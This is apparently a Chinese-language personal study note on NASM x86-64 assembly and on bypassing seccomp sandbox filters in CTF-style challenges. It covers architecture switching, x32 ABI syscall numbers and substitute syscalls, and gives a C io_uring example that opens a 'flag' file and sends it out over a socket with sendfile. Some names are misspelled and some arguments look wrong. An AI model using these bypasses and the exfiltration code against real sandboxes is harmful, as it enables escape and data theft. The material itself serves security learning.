syscall table
在翻 syscall table
https://manpages.ubuntu.com/manpages/jammy/en/man2/syscalls.2.html
man
Nasm
rel
[ 取址 ] 是绝对的,加上rel
或者default rel
转换成相对寻址申明
equ 和 req 定义的存在 bss 中
dx times
- 引用库函数
- 调用约定
调用前 rsp 必须 16 字节对齐
被调用函数需要保留的唯一寄存器(calle-save 寄存器)是: rbp
r12
r13
r14
r15
rbx
。所有其他函数都可以由被调用的函数自由更改。
Seccomp bypass 的一些总结
架构
如果没有限制架构,没有下面这个规则
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x19 0xc000003e if (A != ARCH_X86_64) goto 0027
通过给 cs 寄存器赋值,可以切换到 x86 架构,如果 x86 和 x64 的 syscall number 不同那么成功绕过。
x32 ABI
x32 的 syscall 是 x64 syscall 加上 0x40000000
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
一些奇怪的 syscall
(虽然有 syscal 文档)。一个快速看 syscall number 的工具 ausyscall
替代 open 的 syscall
openat
: 相比起open
增加了dirfd
参数,目录的选择更灵活了openat2
:区别于用flags
来指定模式,它传递open_how
结构,有了更多扩展性open_by_handle_at
和name_to_handle_at
组成了openat
open_tree
不懂怎么用,手册上没有,但是好像可以打开(creat
一个古老的系统调用,以写模式打开文件
替代 read write 的 syscall
pread
pwrite
:指定文件内容的偏移readv
writev
: 以 clutter 形式读写多个 bufferpreadv
pwritev
:p 和 v 的结合preadv2
pwritev2
: 增加了 flags
以上是同步 io,一个古老的 aio
提供了异步功能
socket
connet
senfile
sendto
:通过 socket 发出去
io uling
异步 io io_uring
一个例子是
#include <stdlib.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <sys/socket.h>
#include <liburing.h>
int main() {
//初始化
struct io_uring ring;
int ret = io_uring_queue_init(64, &ring, 0);
// 提交请求
struct io_uring_sqe *sqe = io_uring_get_sqe(&ring);
io_uring_prep_openat(sqe, -100, "flag",RWF_APPEND , MS_RDONLY);
io_uring_submit(&ring);
// 返回结果
struct io_uring_cqe *cqe;
io_uring_wait_cqe(&ring, &cqe);
io_uring_cqe_seen(&ring, cqe);
// 处理打开结果
int opened_fd = cqe->res;
// socket init
int fd = socket(AF_INET, SOCK_STREAM, 0);
//set socket addr
struct sockaddr_in serv_addr ={0};
serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = inet_addr("127.0.0.1");
serv_addr.sin_port = htons(8888);
//connect
connect(fd, (struct sockaddr *)&serv_addr, sizeof(serv_addr));
//send data
sendfile( fd,opened_fd, 0, 0x20);
close(opened_fd);
io_uring_queue_exit(&ring);
return 0;
}